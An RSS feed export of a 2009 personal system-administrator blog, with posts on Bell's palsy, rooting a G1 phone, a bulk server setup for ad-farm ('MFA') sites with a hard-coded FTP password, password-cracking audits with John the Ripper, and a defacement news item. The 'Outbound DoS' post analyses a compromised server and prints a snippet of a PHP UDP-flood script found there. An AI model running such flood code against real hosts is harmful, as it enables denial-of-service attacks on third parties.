<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Scott Mcintyre</title>
	<atom:link href="http://www.scottmcintyre.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.scottmcintyre.net</link>
	<description>System Administrator</description>
	<lastBuildDate>Sun, 01 Nov 2009 04:25:03 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Bell&#8217;s palsy</title>
		<link>http://www.scottmcintyre.net/2009/11/01/bells-palsy/</link>
		<comments>http://www.scottmcintyre.net/2009/11/01/bells-palsy/#comments</comments>
		<pubDate>Sun, 01 Nov 2009 04:25:03 +0000</pubDate>
		<dc:creator>Scott Mcintyre</dc:creator>
				<category><![CDATA[Me]]></category>

		<guid isPermaLink="false">http://www.scottmcintyre.net/?p=37</guid>
		<description><![CDATA[Since this is my blog I may as well write something about me.   On Friday the 23rd I found out I had Bell&#8217;s palsy.  From about Monday night I had been having a very annoying headache for certain periods at a small spot at the back right side of my head (Just [...]]]></description>
			<content:encoded><![CDATA[<p>Since this is <em>my</em> blog I may as well write something about me.   On Friday the 23rd I found out I had <a href="http://en.wikipedia.org/wiki/Bell%27s_palsy">Bell&#8217;s palsy</a>.  From about Monday night I had been having a very annoying headache for certain periods at a small spot at the back right side of my head (Just behind the ear) which I thought I just banged my head but on Thursday night I noticed some strange reactions on my face but wasn&#8217;t sure what these were.    I continued on as normal assuming it would just go away in a few days and was just a headache,  it didn&#8217;t seem that important, neither was it painful &#8211; it was just annoying.</p>
<p>On Friday I definitely noticed something was not quite right but I was not sure,  as the day progressed I felt that the left side of my face was being odd and my eyes were hurting.   In a conference call I really noticed it as I started to speak and mentioned in IRC that I was having difficulty speaking clearly.</p>
<p>[17:25] &lt;Scott-Mc&gt; something is definitely wrong ,  even struggling to talk with the mic on the left side of my face:|<br />
&#8212;&#8211; then 10 minutes later &#8212;&#8211;<br />
[17:36] &lt;Scott-Mc&gt; god knows what is wrong with me, but I am even struggling to speak</p>
<p>After the conference was finished at about 6PM I started to think about all the things over the past few days and realized something wasn&#8217;t quite right and maybe it just wasn&#8217;t a bump to the head.  So I decided to call the NHS direct 24/7 helpline and after describing my symptoms and answering some questions I got put through to a nurse.   She started asking more specific questions because previously I had been unsure exactly what was wrong or how to describe it but within about 5 minutes she had determined what was wrong,  told me what it was and had arranged for me to visit the doctor at the A&amp;E.  </p>
<p>During the call she asked me to go stand in front of the mirror and smile,  it was then I realized that it wasn&#8217;t the left side of my face at all &#8211; this was perfectly normal,  it was the right side.  It was paralyzed and it was at this moment I freaked out,  especially because she said I should go to the A&#038;E just now. </p>
<p>It was very helpful just to speak to someone as otherwise I would have waited till Monday to go to the doctor if it had not cleared up but speaking to someone made me go immediately.  The symptoms did rapidly get worse between about 2PM-6PM as I never noticed it when I looked in the mirror earlier.</p>
<p>I arrived at the A&amp;E about 20 minutes later and waited 3-4 minutes to see a doctor.    Again I described my symptoms and he told me I had Bell&#8217;s Palsy and explained it alittle.   He prescribed me steroids for 1 week and some eye drops.  When I asked if he knew how long it would take he said and I quote,  &#8220;I wont lie, it can take awhile&#8221;.   I was unsure what to make of this but when I returned home it was straight onto google to read more on it.</p>
<p>As it turns out the vast majority recover from it (85%) and they don&#8217;t know what causes it.  So far it&#8217;s been 8-9 days and I would say that on the fourth day it showed signs of improvement that I definitely noticed (I could smile slightly more) but since then I don&#8217;t think it&#8217;s improved any which is alittle disappointing.  I would really like it to go away ASAP!</p>
<p>At this point I have another appointment with the Doctor on Monday to check the progress,  I am hoping it&#8217;s cleared up fully in about 2-3 weeks.  I hope this is realistic but to be honest it doesn&#8217;t really effect me all that much.  As I work from home I don&#8217;t notice it,  the only thing I notice is my right eye can be alittle painful as I have to manually blink it but this has been improving in the past few days also.  Overall I have a feeling I should treat this a serious thing but I have not been,  still can&#8217;t believe it&#8217;s been over a week with it already (I was going to blog about it the day after).</p>
<p>What is surprising is the number of number of friends and friends of friends have had this,  especially as I had never even heard of it before last week,  the good news is that all of them it cleared up just fine,  the bads news is that one of them took 6 months.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.scottmcintyre.net/2009/11/01/bells-palsy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Outbound DoS</title>
		<link>http://www.scottmcintyre.net/2009/10/19/outbound-dos/</link>
		<comments>http://www.scottmcintyre.net/2009/10/19/outbound-dos/#comments</comments>
		<pubDate>Sun, 18 Oct 2009 23:14:50 +0000</pubDate>
		<dc:creator>Scott Mcintyre</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[System Administration]]></category>

		<guid isPermaLink="false">http://www.scottmcintyre.net/?p=33</guid>
		<description><![CDATA[Last Sunday I had a new customer sign up to our Linux Server Management company and one of the issues they were receiving was bandwidth overages for continual outbound DoS attacks their system was performing but they were unable to track.
So in effort to find the initial cause of this with no real data to [...]]]></description>
			<content:encoded><![CDATA[<p>Last Sunday I had a new customer sign up to our <a href="http://www.admingeekz.com">Linux Server Management</a> company and one of the issues they were receiving was bandwidth overages for continual outbound DoS attacks their system was performing but they were unable to track.</p>
<p>So in effort to find the initial cause of this with no real data to work from I had a search around the system for the usual suspects but couldn&#8217;t find any particular culprit.  Manually inspecting nearly 2 million files was not an option so opted to carry on with the usual setup and enforced posix ACL&#8217;s against the apache user and setup some more explicit bandwidth monitoring to obtain data when an attack was occurring.</p>
<p>A few hours later an alert came in that the outbound bandwidth exceeded the threshold so I promptly begin investigating,  The process list doesn&#8217;t seem to show any obvious usual culprits.  After spending a few minutes with iftop and tcpdump I identified the targeted IP and that the traffic was being directed to a DNS server (port 53).   I filtered traffic to this IP while investigating the source, as there was no unusual processes I decided to have alook at the apache status and found the GET request containing the destination IP and port (xxx.php?target=xx.xx.xx.xx&#038;port=53).  </p>
<p>I got the vhosts path from the httpd.conf and reviewed the file and it looks like a simple php script to perform a UDP flood to the target, </p>
<p><code>$sock=socket_create(AF_INET,SOCK_DGRAM,SOL_UDP);</p>
<p>if(!$sock) die("Cant Create Socket!!!");</p>
<p>$data='';<br />
for($i=0;$i&lt;1400;$i++)<br />
{<br />
$data.=chr(rand(0,255));<br />
}</p>
<p>while(true)<br />
{<br />
if(!socket_sendto($sock,$data,strlen($data),0,$target,$port)) die("Error SendTo!!!");<br />
}<br />
</code></p>
<p>That is a snippet of it.  It is very unusual to see these PHP based which is the reason for this blog entry and a definite new addition to the <em>search list</em>.  </p>
<p>For those of you interested the customer already had MRTG installed and below is the last week which shows the attack saturating the uplink (100Mbit) when it was occurring but has since been stopped.</p>
<p><img src="http://www.scottmcintyre.net/wp-content/uploads/2009/10/index-week.png" alt="Outbound DoS Attack" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.scottmcintyre.net/2009/10/19/outbound-dos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rooting T-Mobile G1</title>
		<link>http://www.scottmcintyre.net/2009/10/11/rooting-t-mobile-g1/</link>
		<comments>http://www.scottmcintyre.net/2009/10/11/rooting-t-mobile-g1/#comments</comments>
		<pubDate>Sun, 11 Oct 2009 18:01:50 +0000</pubDate>
		<dc:creator>Scott Mcintyre</dc:creator>
				<category><![CDATA[Mobiles]]></category>

		<guid isPermaLink="false">http://www.scottmcintyre.net/?p=17</guid>
		<description><![CDATA[Today I finally got around to rooting my UK T-mobile G1,

<a href="http://www.scottmcintyre.net/wp-content/uploads/2009/10/t-mobile-g1-2.jpg"><img src="http://www.scottmcintyre.net/wp-content/uploads/2009/10/t-mobile-g1-2-150x150.jpg" alt="Rooting T-Mobile G1" /></a>

While I work with and "hack" linux all day long modifying my phone was something I have never had the real urge to do.  I very rarely use my phone as I always either have or am close to a computer/laptop and the t-mobile 3g signal is useless.  I decided as I have some free time today that I will give it a go anyway - to my surprise it is actually surprisingly easy,  all of the work is already done for you amongst the very large community of users.

I initially looked at these 2 forums,

<a href="http://forum.xda-developers.com" target="_blank">forum.xda-developers.com</a>
<a href="http://modmygphone.com" target="_blank">modmygphone.com</a>

Which then I simply ended up using

<a href="http://www.ryebrye.com/blog/2009/08/16/android-rooting-in-1-click-in-progress/" target="_blank">http://www.ryebrye.com/blog/2009/08/16/android-rooting-in-1-click-in-progress/</a> but did also read <a href="http://androidandme.com/2009/08/news/how-to-root-a-t-mobile-g1-and-mytouch-3g-android-phone/" target="_blank">http://androidandme.com/2009/08/news/how-to-root-a-t-mobile-g1-and-mytouch-3g-android-phone/</a>]]></description>
			<content:encoded><![CDATA[<p>Today I finally got around to rooting my UK T-mobile G1,</p>
<p><a href="http://www.scottmcintyre.net/wp-content/uploads/2009/10/t-mobile-g1-2.jpg"><img src="http://www.scottmcintyre.net/wp-content/uploads/2009/10/t-mobile-g1-2-150x150.jpg" alt="Rooting T-Mobile G1" /></a></p>
<p>While I work with and &#8220;hack&#8221; linux all day long modifying my phone was something I have never had the real urge to do.  I very rarely use my phone as I always either have or am close to a computer/laptop and the t-mobile 3g signal is useless.  I decided as I have some free time today that I will give it a go anyway &#8211; to my surprise it is actually surprisingly easy,  all of the work is already done for you amongst the very large community of users.</p>
<p>I initially looked at these 2 forums,</p>
<p><a href="http://forum.xda-developers.com" target="_blank">forum.xda-developers.com</a><br />
<a href="http://modmygphone.com" target="_blank">modmygphone.com</a></p>
<p>Which then I simply ended up using</p>
<p><a href="http://www.ryebrye.com/blog/2009/08/16/android-rooting-in-1-click-in-progress/" target="_blank">http://www.ryebrye.com/blog/2009/08/16/android-rooting-in-1-click-in-progress/</a> but did also read <a href="http://androidandme.com/2009/08/news/how-to-root-a-t-mobile-g1-and-mytouch-3g-android-phone/" target="_blank">http://androidandme.com/2009/08/news/how-to-root-a-t-mobile-g1-and-mytouch-3g-android-phone/</a></p>
<p>Overall I am still surprised how much of the work is actually done already.   One thing that worried me was the differences between the US and UK in the phones themselves as I do not pay much attention to phone modding this is something that could potentially be a problem,  I wasn&#8217;t sure if I should be worried about it (Especially with all the disclaimers about being targeted for the US version only) but it seems to have worked fine.  I only ran into 1 issue which had nothing to do with that and I will describe the details below below.</p>
<p>I mostly followed the ryebrye instructions and this is what I did.</p>
<p>-  On my laptop I downloaded <a href="http://g1files.webs.com/Zinx/flashrec-20090815.apk" target="_blank">http://g1files.webs.com/Zinx/flashrec-20090815.apk</a> ,  copied this over to the SD card.<br />
-  Used the market to find a file browser as I couldn&#8217;t see one by default.  The one I downloaded was FileDroid Lite.<br />
-  Installed flashrec,  opened it,  clicked &#8220;Restore Backup Recovery Image&#8221; then  &#8220;Flash Cyanogen Recovery 1.4&#8243;</p>
<p><a href="http://www.scottmcintyre.net/wp-content/uploads/2009/10/recfasher.png"><img src="http://www.scottmcintyre.net/wp-content/uploads/2009/10/recfasher-150x150.png" alt="Rooting G1 Flashrec" /></a></p>
<p>I then rebooted the phone into recovery mode by turning the phone off,  then holding the home button and the power button at the same time.   The recovery system did appear as described,</p>
<p><a href="http://www.scottmcintyre.net/wp-content/uploads/2009/10/recovery.png"><img src="http://www.scottmcintyre.net/wp-content/uploads/2009/10/recovery-150x150.png" alt="" /></a></p>
<p>I selected the &#8220;nandroid backup&#8221; at this stage to backup the phone settings.  At this point I had thought that was it completed but this is actually only to be able to load the images.  So I booted the phone again.    Then on my laptop I downloaded, update-cm-4.1.99-signed.zip from <a href="http://n0rp.chemlab.org/android/experimental/" target="_blank">http://n0rp.chemlab.org/android/experimental/</a> and copied this to the sd card.  I rebooted the phone again back into recovery mode and selected &#8220;wipe data/factory reset&#8221; and then &#8220;apply any zip from sd&#8221; and selected update-cm-4.1.99-signed.zip.   After hitting home and waiting for it to install I rebooted the phone.  It was said to be patient as it takes longer to boot but after 20 minutes I realized something was up as it was still stuck at the t-mobile logo.   I powered it back into recovery mode and instead of selecting &#8220;restore latest backup&#8221; I accidentally selected nandroid backup again which I paniced, aborted (pulled the battery out) but after turning back into recovery mode it was unable to restore the good image as it had already been overwritten.   At this point I had thought that I have bricked my phone as without a card reader I have no way to put an image to the SD card but as it turns out you can mount the SD card from the recovery console.</p>
<p>So I selected &#8220;go to console&#8221; from the menu and plugged the data cable back in to my laptop then executed,</p>
<p><code>echo /dev/block/mmcblk0 &gt; /sys/devices/platform/usb_mass_storage/lun0/file</code></p>
<p>Which done the trick,  I was able to copy new roms to the sdcard and get my phone back and working.  From reading the forums (<a href="http://forum.xda-developers.com/showthread.php?t=567610">This thread</a>) I read the instructions again and noticed signed-dream_devphone_userdebug-ota-14721.zip was required from <a href="http://developer.htc.com/adp.html#s3">http://developer.htc.com/adp.html#s3</a> so I copied this to the SDcard and booted back into recovery mode.</p>
<p>I selected &#8220;apply any zip from sd&#8221; and then signed-dream_devphone_userdebug-ota-14721.zip ,  once this was installed and the phone rebooted (I held home again) I selected &#8220;apply any zip from sd&#8221; again then selected the previous image (update-cm-4.1.99-signed.zip).  Once this finished installing I rebooted the phone and success! it actually booted this time.  After filling in the gmail info everything seems to work fine and all my contacts are there.</p>
<p>The first thing I done was check the console which this rom comes with a nice app &#8220;Terminal Emulator&#8221;,  I executed &#8220;su&#8221; and was prompted to allow the superuser permissions (I assume this is from the &#8220;superuser permissions&#8221; app which seems to be installed and low and behold I was root.</p>
<p>Overall very easy process so a huge thanks to all the people that I linked to during the course of writing this.   Hopefully I will get some time to play around more and write some scripts/apps that will benefit me and others.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.scottmcintyre.net/2009/10/11/rooting-t-mobile-g1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Blogging</title>
		<link>http://www.scottmcintyre.net/2009/10/11/blogging/</link>
		<comments>http://www.scottmcintyre.net/2009/10/11/blogging/#comments</comments>
		<pubDate>Sun, 11 Oct 2009 17:13:30 +0000</pubDate>
		<dc:creator>Scott Mcintyre</dc:creator>
				<category><![CDATA[Me]]></category>

		<guid isPermaLink="false">http://www.scottmcintyre.net/?p=13</guid>
		<description><![CDATA[So it has been over 3 years since I created this blog and I have exactly 3 entries to date.   Blogging is something I have always been meaning to do but never actually got round to it.   I wouldn't consider myself a true blogger but I am devoted to giving it a go anyway.

Not knowing what to write about is generally what made me always not bother and then when there is a subject I am actually not that good at being creative.  The truth is though it is actually just lazyness that has stopped be.

So from today onwards I have decided to have an average of 2 blog posts per month and these can be about anything be it useful information,  a rant about a product/service or just a general meaningless post.]]></description>
			<content:encoded><![CDATA[<p>So it has been over 3 years since I created this blog and I have exactly 3 entries to date.   Blogging is something I have always been meaning to do but never actually got round to it.   I wouldn&#8217;t consider myself a true blogger but I am devoted to giving it a go anyway.</p>
<p>Not knowing what to write about is generally what made me always not bother and then when there is a subject I am actually not that good at being creative.  The truth is though it is actually just lazyness that has stopped be.</p>
<p>So from today onwards I have decided to have an average of 2 blog posts per month and these can be about anything be it useful information,  a rant about a product/service or just a general meaningless post.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.scottmcintyre.net/2009/10/11/blogging/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Setting up an MFA Server</title>
		<link>http://www.scottmcintyre.net/2007/08/30/setting-up-an-mfa-server/</link>
		<comments>http://www.scottmcintyre.net/2007/08/30/setting-up-an-mfa-server/#comments</comments>
		<pubDate>Thu, 30 Aug 2007 08:20:10 +0000</pubDate>
		<dc:creator>Scott Mcintyre</dc:creator>
				<category><![CDATA[SEO]]></category>
		<category><![CDATA[System Administration]]></category>

		<guid isPermaLink="false">http://www.scottmcintyre.net/2007/08/30/setting-up-an-mfa-server/</guid>
		<description><![CDATA[Tired of paying someone to setup your server?  Want a quick way to setup thousands of domains?  Read on&#8230;
I have made a quick guide on how to setup a server specifically for MFA sites from start to finish. The server will consist of,

Web server &#8211; Apache
Database &#8211; mySQL
Scripting Language &#8211; PHP
FTP Daemon &#8211; [...]]]></description>
			<content:encoded><![CDATA[<p>Tired of paying someone to setup your server?  Want a quick way to setup thousands of domains?  Read on&#8230;</p>
<p>I have made a quick guide on how to setup a server specifically for MFA sites from start to finish. The server will consist of,</p>
<ul>
<li>Web server &#8211; Apache</li>
<li>Database &#8211; mySQL</li>
<li>Scripting Language &#8211; PHP</li>
<li>FTP Daemon &#8211; vsFTPD</li>
<li>DNS Server &#8211; Bind</li>
</ul>
<p>We are going to assume you are using centOS and have yum available.  This should only be used on a fresh install.  So lets begin,</p>
<p><strong>Installing Services</strong></p>
<p>To make this quick we are just going to use the RPM&#8217;s available from the depositories.  At the shell prompt execute,</p>
<p><code><br />
yum -y install httpd httpd-devel mysql mysql-server mysql-devel vsftpd bind bind-libs bind-utils php php-cli<br />
</code></p>
<p>Once this completes you should see something like this,</p>
<p><a href='http://www.scottmcintyre.net/wp-content/uploads/2007/08/1.png' title='Service Installation via YUM'><img src='http://www.scottmcintyre.net/wp-content/uploads/2007/08/1.thumbnail.png' alt='Service Installation via YUM' /></a></p>
<p>Now that the services are installed it&#8217;s time to configure them.</p>
<p><span id="more-6"></span></p>
<p><strong>Configure Apache</strong></p>
<p>Depending on which centOS version you are using you will either have apache 1.x (centos4) or apache 2.x (centos5) we are going to assume apache 2.x however as the change are only minor config changes they are the same anyway. </p>
<p>Rather than opening and configuring we will just do a quick replacement on the file for the NameVirtualHost and to include a single file in which we will keep all the vhosts.</p>
<p><code><br />
perl -pi -e 's/#NameVirtualHost \*:80/NameVirtualHost \*:80\ninclude conf\/domains.conf/g' /etc/httpd/conf/httpd.conf<br />
</code></p>
<p>This will edit the config for you and if you view the config you should see something like this</p>
<p><a href='http://www.scottmcintyre.net/wp-content/uploads/2007/08/2.png' title='Apache Configuration'><img src='http://www.scottmcintyre.net/wp-content/uploads/2007/08/2.thumbnail.png' alt='Apache Configuration' /></a></p>
<p><strong>Configure DNS</strong></p>
<p>When configuring the DNS we are only going to setup 1 domain which will be the primary nameservers,  we will use masterdomain.com as an example throughout.  There will not be any domains actually setup other than the primary nameserver domain as these will be setup later with the script we build.</p>
<p><i>Setup the standard configuration (recreating as centOS 5 does not provide /etc/named.conf)</i><br />
<code><br />
cat &gt;/etc/named.conf &lt;&lt;EOM<br />
// Default named.conf generated by AdminGeekZ</p>
<p>//Add your machines IP if you wish to use this server as the resolvers<br />
acl &quot;trusted&quot; {127.0.0.1;};<br />
options {<br />
version &quot;Bind&quot;;<br />
allow-recursion { trusted; };<br />
allow-notify { trusted; };<br />
allow-transfer { trusted; };</p>
<p>        directory &quot;/var/named&quot;;<br />
        dump-file &quot;/var/named/data/cache_dump.db&quot;;<br />
        statistics-file &quot;/var/named/data/named_stats.txt&quot;;<br />
};<br />
include &quot;/etc/rndc.key&quot;;</p>
<p>EOM<br />
</code></p>
<p>Now setup the nameservers we will be using the following for our example,</p>
<p>- ns1.masterdomain.com -> 10.1.1.1<br />
- ns2.masterdomain.com -> 10.2.2.2</p>
<p><code><br />
cat &gt;/var/named/masterdomain.com.db &lt;&lt;EOM<br />
$TTL 6200<br />
@       6200   IN      SOA     ns1.masterdomain.com.      server.masterdomain.com.    (<br />
                                        2006070312<br />
                                        6200<br />
                                        7200<br />
                                        1419200<br />
                                        6200<br />
                                        )</p>
<p>masterdomain.com.  6200   IN      NS      ns1.masterdomain.com.<br />
masterdomain.com.  6200   IN      NS      ns2.masterdomain.com.</p>
<p>masterdomain.com.  6200   IN      MX      5       mail.masterdomain.com.</p>
<p>mail    6200   IN      CNAME   masterdomain.com.<br />
www     6200   IN      CNAME   masterdomain.com.</p>
<p>ns1     6200   IN      A       10.1.1.1<br />
ns2     6200   IN      A       10.2.2.2</p>
<p>masterdomain.com.  6200   IN      A       10.1.1.1<br />
EOM</p>
<p>#Now add the domain to the named configuration</p>
<p>cat &gt;&gt;/etc/named.conf &lt;&lt;EOM<br />
zone &quot;masterdomain.com&quot; {<br />
        type master;<br />
        file &quot;/var/named/masterdomain.com.db&quot;;<br />
};<br />
EOM<br />
#Now restart bind</p>
<p>/etc/init.d/named restart<br />
</code></p>
<p>Now we create a dns zone template, this is for our bulk setup script later.</p>
<p><code><br />
cat &gt;/etc/template.named &lt;&lt;EOM<br />
$TTL 6200<br />
@       6200   IN      SOA     ns1.cdomain.com.      server.cdomain.com.    (<br />
                                        2006070312<br />
                                        6200<br />
                                        7200<br />
                                        1419200<br />
                                        6200<br />
                                        )</p>
<p>cdomain.com.  6200   IN      NS      ns1.masterdomain.com.<br />
cdomain.com.  6200   IN      NS      ns2.masterdomain.com.</p>
<p>cdomain.com.  6200   IN      MX      5       mail.cdomain.com.<br />
mail    6200   IN      CNAME   cdomain.com.<br />
www     6200   IN      CNAME   cdomain.com.</p>
<p>cdomain.com.  6200   IN      A       10.1.1.1<br />
EOM<br />
</code></p>
<p>Your /etc/named.conf should look something like this now,</p>
<p><a href='http://www.scottmcintyre.net/wp-content/uploads/2007/08/3.png' title='Named Configuration'><img src='http://www.scottmcintyre.net/wp-content/uploads/2007/08/3.thumbnail.png' alt='Bind Configuration' /></a></p>
<p>That&#8217;s all that is required for this section of bind now.</p>
<p><strong>Setting up FTP/SSH Account</strong></p>
<p>For ease of use we will have all domains managed by one FTP account of the username node which accesses /home/httpd/domains</p>
<p><code><br />
mkdir -p /home/httpd/domains<br />
adduser -d /home/httpd/domains node<br />
echo "my??password12" | passwd node --stdin<br />
</code></p>
<p>You will have to chown and chmod this directory later for extra security.</p>
<p><strong>Creating Setup Script</strong></p>
<p>We will now use a script which can be used to add domains easily,  this will use the base we already setup earlier. </p>
<p><i>The Script</i><br />
<code><br />
cat &gt;/root/setup.sh &lt;&lt;EOF<br />
#!/bin/bash</p>
<p>if [ -z &quot;$1&quot; ]; then<br />
echo -n &quot;Syntax: setup.sh domain.com&quot;<br />
exit 0<br />
fi</p>
<p>if [ ! -d &quot;/home/httpd/domains/\$1&quot; ]<br />
then<br />
mkdir /home/httpd/domains/\$1</p>
<p>cat &gt;&gt;/etc/httpd/conf/domains.conf &lt;&lt;EOM<br />
&lt;VirtualHost *:80&gt;<br />
    ServerAdmin sysadmin@admingeekz.com<br />
    ServerName server.masterdomain.com<br />
    ServerName \$1<br />
    ServerAlias www.\$1<br />
    DocumentRoot /home/httpd/domains/\$1<br />
&lt;/VirtualHost&gt;</p>
<p>EOM</p>
<p>cat &gt;&gt;/etc/named.conf &lt;&lt;EOM<br />
zone &quot;\$1&quot; {<br />
        type master;<br />
        file &quot;/var/named/\$1.db&quot;;<br />
};</p>
<p>EOM</p>
<p>cp -f /etc/template.named /etc/buffernamed<br />
replace &quot;cdomain.com&quot; &quot;\$1&quot; -- /etc/buffernamed<br />
mv /etc/buffernamed /var/named/\$1.db<br />
chown named:named /var/named/\$1.db</p>
<p>chown -R node:node /home/httpd/domains/\$1<br />
/etc/init.d/named reload<br />
/etc/init.d/httpd reload</p>
<p>echo &quot;Added \$1 has been setup&quot;<br />
else<br />
        echo &quot;\$1 is already setup&quot;<br />
	exit 0<br />
fi</p>
<p>EOF<br />
chmod 700 /root/setup.sh<br />
</code></p>
<p>That&#8217;s the script created and to add a domain you simply run</p>
<p><i>/root/setup.sh domain.com</i></p>
<p><strong>Bulk Adding Domains</strong></p>
<p>Now that everything is setup and ready the last part is to bulk add all of your domains.  To do this we are going to have them in a list (without www.) so have a file called domains.txt which should look something like this,</p>
<blockquote><p>
google.com<br />
msn.com<br />
yahoo.com
</p></blockquote>
<p>When you have your list and want to setup the domains first comment out the apache and named reload lines from the /root/setup.sh script to make this go much faster (you can reload once completed) and then loop through the domains by using something like this,</p>
<p><code><br />
for i in `cat domains.txt`;do /root/setup.sh $i;done<br />
</code></p>
<p>Once completed reload named and apache</p>
<p><code><br />
/etc/init.d/named reload<br />
/etc/init.d/apache reload<br />
</code></p>
<p><strong>Final Touches</strong></p>
<p>Now that your server is setup and you can add domains easily the last thing to do is to start all the services and make sure they start on boot.  You may wish to optimize the server aswell as any other misc tweaks (Such as adding index.php to the DirectoryIndex).</p>
<p><code><br />
/etc/init.d/httpd restart<br />
/etc/init.d/mysqld restart<br />
/etc/init.d/vsftpd restart<br />
/etc/init.d/named restart<br />
chkconfig httpd on<br />
chkconfig mysqld on<br />
chkconfig vsftpd on<br />
chkconfig named on<br />
</code></p>
<p><strong>Summary</strong></p>
<p>We setup the following,</p>
<ul>
<li>3 Domains (google.com/msn.com/yahoo.com) for both dns and web</li>
<li>A master FTP account (username: node / password: my??password12)</li>
<li>1 master nameserver (masterdomain.com) which all domains use</li>
</ul>
<li>A domain setup script for adding new domains easily (/root/setup.sh)</li>
<p>If you followed this from start to finish you should now have a fully working server for your MFA sites where you can add new domains easily and manage all the domains from one account.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.scottmcintyre.net/2007/08/30/setting-up-an-mfa-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Password Security</title>
		<link>http://www.scottmcintyre.net/2006/06/14/password-security/</link>
		<comments>http://www.scottmcintyre.net/2006/06/14/password-security/#comments</comments>
		<pubDate>Wed, 14 Jun 2006 09:54:43 +0000</pubDate>
		<dc:creator>Scott Mcintyre</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.scottmcintyre.net/2006/06/14/password-security/</guid>
		<description><![CDATA[Basic Use of Passwords
After all these years you would think basic password security would be drilled into everyone who uses the Internet, yet time and time again I always come across people who still have not learned the basics.  Really what is so hard about remembering a password that is not text only?  One simple [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Basic Use of Passwords</strong></p>
<p>After all these years you would think basic password security would be drilled into everyone who uses the Internet, yet time and time again I always come across people who still have not learned the basics.  Really what is so hard about remembering a password that is not text only?  One simple `odd` character in the word would make it a reasonable secure password.  Yet people still do not get the message that adding just one character really makes a difference.</p>
<p>When I see people who get compromised due to passwords it just makes me cringe.  I have yet to understand why they do not learn until someone takes advantage of their weak password.  It happens so often now I even have an example ready now for weak passwords.</p>
<p>You can still have a secure password which is easy to remember, it does not have to be full of random characters, just one or two really does make a difference.</p>
<p>Take my name for example, Scott Mcintyre, that&#8217;s 13 characters long and easy to remember all you have to do now is throw a few odd characters in there such as,</p>
<p>Sc0tt`Mcintyr?e</p>
<p>Which is easy to remember, it includes capitals and has a number, and is more than 10 characters.</p>
<p><strong>Do you test you&#8217;re passwords?</strong></p>
<p>Now it brought me on to the fact that does anyone actually test their password against dictionaries?  Both users and system administrators should test them regularly and the reaction I get when I guess the passwords is quite strange as if it has never happened before.</p>
<p><em>System Administrators</em></p>
<p>I personally only work with *NIX and test passwords atleast once a week on every single server with user accounts I manage.  On one time work the successrate for more than 100 passwords is generally 1-10%, however today I did get a 58% success-rate which sparked this entry.</p>
<p>As a *NIX administrator I feel it&#8217;s my job to ensure peoples passwords are updated also, I often use tools like John The Ripper against the /etc/shadow file to acheive this.  You may view my guide <a href="http://www.hostgeekz.com/guides/Security/67/Password_Security.htm">http://www.hostgeekz.com/guides/Security/67/Password_Security.htm</a> if you are unsure how to this.</p>
<p><em>End Users</em></p>
<p>End users should not have to test their passwords and should be using a password that gives them 100% reassurance.  Ultimately if you feel the need to check you&#8217;re password against dictionaries then you&#8217;re password is not good enough.</p>
<p><strong>Multiple Locations</strong></p>
<p>Do you use you&#8217;re password in multiple locations?  If so why? While it might be easy to remember it always leads to problems if by the off chance you&#8217;re password was ever compromised.  I feel this form of basic password security is the one that is the one that is not taken seriously the most.  I used to do it myself however have since realized it was bad just because of the number of people I have been bad things happen to.  There are methods of keeping you&#8217;re same password principal yet not using the same password. Take our above example,</p>
<p>Sc0tt`Mcintyr?e</p>
<p>You could change the position of the question mark for each different location, such as you&#8217;re instant messenger password could be S?c0tt`Mcintyre and you&#8217;re email could be Sc?0tt`Mcintyre, this is just different variations yet it keeps you&#8217;re password simple to remember.</p>
<p><strong>Changing passwords</strong></p>
<p>Do you change you&#8217;re password after a certain period?  This is generally a good idea if you use the same password in multiple locations.  Personally I do change my passwords around once every 3-4 months.  I do it so I can remember them easier, newer passwords will stay fresh in the mind whilst older passwords can be forgotten and confused with others.</p>
<p><strong>Conclusion</strong></p>
<p>As it seems I have joined the list of thousands, possible millions, of other articles/rants about password security but I think it has to be said that it&#8217;s quite shocking the number of people that totally ignore the basic concept.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.scottmcintyre.net/2006/06/14/password-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sony and Warner Music Defaced</title>
		<link>http://www.scottmcintyre.net/2006/06/02/sony-and-warner-music-defaced/</link>
		<comments>http://www.scottmcintyre.net/2006/06/02/sony-and-warner-music-defaced/#comments</comments>
		<pubDate>Fri, 02 Jun 2006 02:40:26 +0000</pubDate>
		<dc:creator>Scott Mcintyre</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.scottmcintyre.net/2006/06/02/sony-and-warner-music-defaced/</guid>
		<description><![CDATA[As reported on zone-h,
Some big music corporation sites have been defaced both sonymusicstudios.co.uk and warnermusic.com.tw.
Could this be a result of ThePirateBay going down recently? Could it be a coincidence, I think not.  It makes me wonder what will happen in the next few weeks because I suspect there will be a waive of these type [...]]]></description>
			<content:encoded><![CDATA[<p>As reported on zone-h,</p>
<p>Some big music corporation sites have been defaced both sonymusicstudios.co.uk and warnermusic.com.tw.</p>
